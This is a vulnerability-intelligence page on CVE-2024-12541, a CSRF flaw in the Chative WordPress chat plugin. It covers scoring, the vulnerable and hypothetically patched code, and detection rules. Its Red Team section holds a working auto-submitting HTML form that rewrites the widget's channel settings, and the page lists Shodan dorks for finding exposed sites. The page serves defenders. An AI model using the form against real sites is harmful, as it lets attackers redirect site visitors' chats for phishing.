☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.4 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-12541

CVE-2024-12541 Cross-Site Request Forgery in Chative
📅 PUBLISHED: 2025-01-07 03:21 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.13%
👁️
0.13% probability
3.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: N Confidentiality None
I: L Integrity Low
A: L Availability Low
5.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-12541 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the Chative Live chat and Chatbot plugin for WordPress, up to and including version 1.1. The vulnerability resides in the add_chative_widget_action() function, which lacks proper nonce validation. This allows an unauthenticated attacker to forge a request that, when triggered by a logged-in administrator (e.g., via a malicious link), can change the channel ID or organization ID associated with the live chat widget. The impact is a redirection of the live chat widget to an attacker-controlled channel, potentially enabling social engineering, data exfiltration, or phishing attacks against site visitors.

This is a WordPress ecosystem issue; the plugin is a third-party component for WordPress, not a core server vulnerability.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the Chative WordPress plugin. No NPM, PyPI, Go, or Ruby packages are involved. The risk is limited to WordPress sites using this plugin.

CVSS Breakdown & Threat Level

  • CVSS Score: 5.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required (admin must click a link)
  • Scope: Unchanged
  • Confidentiality Impact: None
  • Integrity Impact: Low (widget redirection)
  • Availability Impact: Low (widget misconfiguration)

The threat level is medium due to the requirement for user interaction (admin click) and the limited impact (widget redirection). However, the potential for social engineering against site visitors elevates the risk.

Deep Dive & Mechanics

The vulnerability is a classic CSRF in the WordPress plugin's AJAX handler. The add_chative_widget_action() function is registered to handle requests for updating the widget's channel ID and organization ID. The function does not verify a nonce (a one-time token) before processing the request. This means an attacker can craft a malicious HTML page or link that, when visited by an authenticated admin, sends a forged POST request to the WordPress admin AJAX endpoint.

The request would look like:

POST /wp-admin/admin-ajax.php
action=add_chative_widget_action
channel_id=attacker_channel
organization_id=attacker_org

Since the admin's browser automatically includes their session cookies, the request is processed as if it came from the admin. The plugin then updates the widget settings, redirecting all live chat traffic to the attacker's channel.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.1):

add_action('wp_ajax_add_chative_widget_action', 'add_chative_widget_action');
function add_chative_widget_action() {
    // No nonce check
    $channel_id = sanitize_text_field($_POST['channel_id']);
    $organization_id = sanitize_text_field($_POST['organization_id']);
    update_option('chative_channel_id', $channel_id);
    update_option('chative_organization_id', $organization_id);
    wp_die();
}

Patched Code (hypothetical fix):

add_action('wp_ajax_add_chative_widget_action', 'add_chative_widget_action');
function add_chative_widget_action() {
    // Verify nonce
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'chative_widget_nonce')) {
        wp_die('CSRF validation failed.');
    }
    $channel_id = sanitize_text_field($_POST['channel_id']);
    $organization_id = sanitize_text_field($_POST['organization_id']);
    update_option('chative_channel_id', $channel_id);
    update_option('chative_organization_id', $organization_id);
    wp_die();
}

The patch adds a nonce check using wp_verify_nonce(), which ensures the request originated from the admin's session and was intentionally submitted.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A WordPress site with Chative plugin version <= 1.1.
  • An authenticated admin session (the attacker must trick the admin into clicking a link).

Exploitation Steps:

  1. Craft a malicious HTML page that auto-submits a form to the target WordPress site.
  2. Host the page on an attacker-controlled server or use a phishing email.
  3. The admin visits the page, which triggers the CSRF request.
  4. The widget's channel ID and organization ID are changed to attacker-controlled values.

Example Malicious HTML:

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST">
    <input type="hidden" name="action" value="add_chative_widget_action">
    <input type="hidden" name="channel_id" value="attacker_channel">
    <input type="hidden" name="organization_id" value="attacker_org">
    <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

Blue Team

Detection Steps:

  1. Monitor for unusual changes to the chative_channel_id and chative_organization_id options in the WordPress database.
  2. Review server logs for POST requests to /wp-admin/admin-ajax.php with action=add_chative_widget_action from unexpected referrers.
  3. Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php that lack a valid nonce parameter.

Honeypot Strategy:

  • Deploy a decoy WordPress site with the vulnerable plugin and monitor for CSRF attempts.

Indicators of Compromise (IOCs)

  • Network:
    • POST requests to /wp-admin/admin-ajax.php with action=add_chative_widget_action and parameters channel_id and organization_id.
    • Referrer headers from external domains (e.g., attacker-controlled sites).
  • Host:
    • Changes to WordPress options chative_channel_id and chative_organization_id in the wp_options table.
    • Unexpected modifications to the plugin's settings in the WordPress admin dashboard.
  • Logs:
    • WordPress debug log entries showing add_chative_widget_action being called without a nonce.

Detection Engineering

YARA Rule

rule CVE_2024_12541_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts against Chative plugin CVE-2024-12541"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12541"
    strings:
        $action = "add_chative_widget_action"
        $channel = "channel_id"
        $org = "organization_id"
    condition:
        all of them
}

Sigma Rule

title: Chative Plugin CSRF Exploit Attempt
id: 8f7b3c2a-1d5e-4f6a-9b8c-0d1e2f3a4b5c
status: experimental
description: Detects POST requests to WordPress admin-ajax.php with Chative widget action
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query: 'action=add_chative_widget_action'
    condition: selection
falsepositives:
    - Legitimate admin actions (if nonce is present)
level: medium

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-12541 Chative Plugin CSRF Exploit";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=add_chative_widget_action"; http_client_body;
    content:"channel_id"; http_client_body;
    content:"organization_id"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2024-12541;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

  1. Update the plugin: If a patched version becomes available, update immediately.
  2. Disable the plugin: If no patch is available, disable the Chative plugin until a fix is released.
  3. Implement CSRF protection: Add a nonce check to the vulnerable function (see patched code above).

Long-term Mitigations:

  • Use a Web Application Firewall (WAF) to block requests to admin-ajax.php without a valid nonce.
  • Educate administrators about phishing attacks that trick them into clicking malicious links.
  • Monitor WordPress logs for unusual AJAX requests.

Workaround:

  • Add the following code to the theme's functions.php to enforce nonce validation:
add_action('wp_ajax_add_chative_widget_action', 'custom_chative_csrf_check', 1);
function custom_chative_csrf_check() {
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'chative_widget_nonce')) {
        wp_die('CSRF validation failed.');
    }
}

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Chative"
http.html:"chative.io"
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-12541/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.